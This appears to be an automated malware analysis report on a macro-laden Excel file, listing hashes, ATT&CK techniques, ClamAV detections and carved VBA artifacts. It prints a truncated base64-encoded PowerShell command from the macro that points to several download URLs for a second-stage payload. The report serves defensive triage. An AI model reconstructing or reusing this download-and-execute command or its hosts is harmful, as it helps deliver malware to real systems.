Office (OOXML) / .XLSX malware analysis — malicious · fec796654be091fb

MALICIOUS

Office (OOXML) / .XLSX

111.6 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 4d182948cc26a04f4b307181ccdfc563 SHA-1: cf25f945b76d71f5ea8a8eb52d7100c34cb5983e SHA-256: fec796654be091fb4bca5040fb0bc05f4a7c386fbc2d2db77ade039a64e7c314

260 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The file is an Excel document containing a Workbook_Open macro, which is a common technique for executing malicious code upon opening. The macro attempts to download and execute a batch file from a series of URLs. Specifically, it constructs the command: 'hell -e JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHIAZQB1AG0AYQB0AGkAcwBtAGMAbABpAG4AaQBjAC4AYwBvAG0ALwAtAC8AcwBjAEMAbgBtADMAbQBiAEoAUgBwAHMAYQBCAEsAQgBiAHIAQwAvACwAaAB0AHQAcABzADoALwAvAHMAaABvAGQAaABtAGEAbgBqAGEAcgBpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB4AGoARQBtAEsANABQAGQAMwBOAC8ALABoAHQAdABwADoALwAvAHQAdQBiAGUAbABvAGMAYQBsAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBYADQAWABtADQATQBrAC8ALABoAHQAdABwAHMAOgAvAC8AcABhAGMAaQBmAGkAYwBoAG8AbQBlAGIAcgBvAGsAZQByAC4AYwBvAG0ALwByAG8AZABlAHIAaQBjAGsALwBSAFIAawAvACwAaAB0AHQAcABzADoALwAvAG0AbwBsAGkAbgBhAGkALQBqAG8AdQByAG4AYQBsAC4A'. This indicates the macro is designed to download and execute a payload, likely a second-stage malware. The ClamAV detection further confirms its malicious nature.

Heuristics 6

ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
ClamAV detection on extracted artifact critical EXTRACTED_FILE_CLAMAV

ClamAV flagged at least one file extracted from inside this sample. Even when the wrapping document carries no AV detection of its own, a hit on the carved artifact is a strong indicator the sample is a delivery vehicle.
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	7821 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `fb63cbda705f0dc9c7ad0f1a7cdd9963c47409d7132542ca1bb0136922b4dca4`	vba-project	OOXML VBA project: xl/vbaProject.bin	37888 bytes
Detection ClamAV: Doc.Malware.Valyria-10004384-0 Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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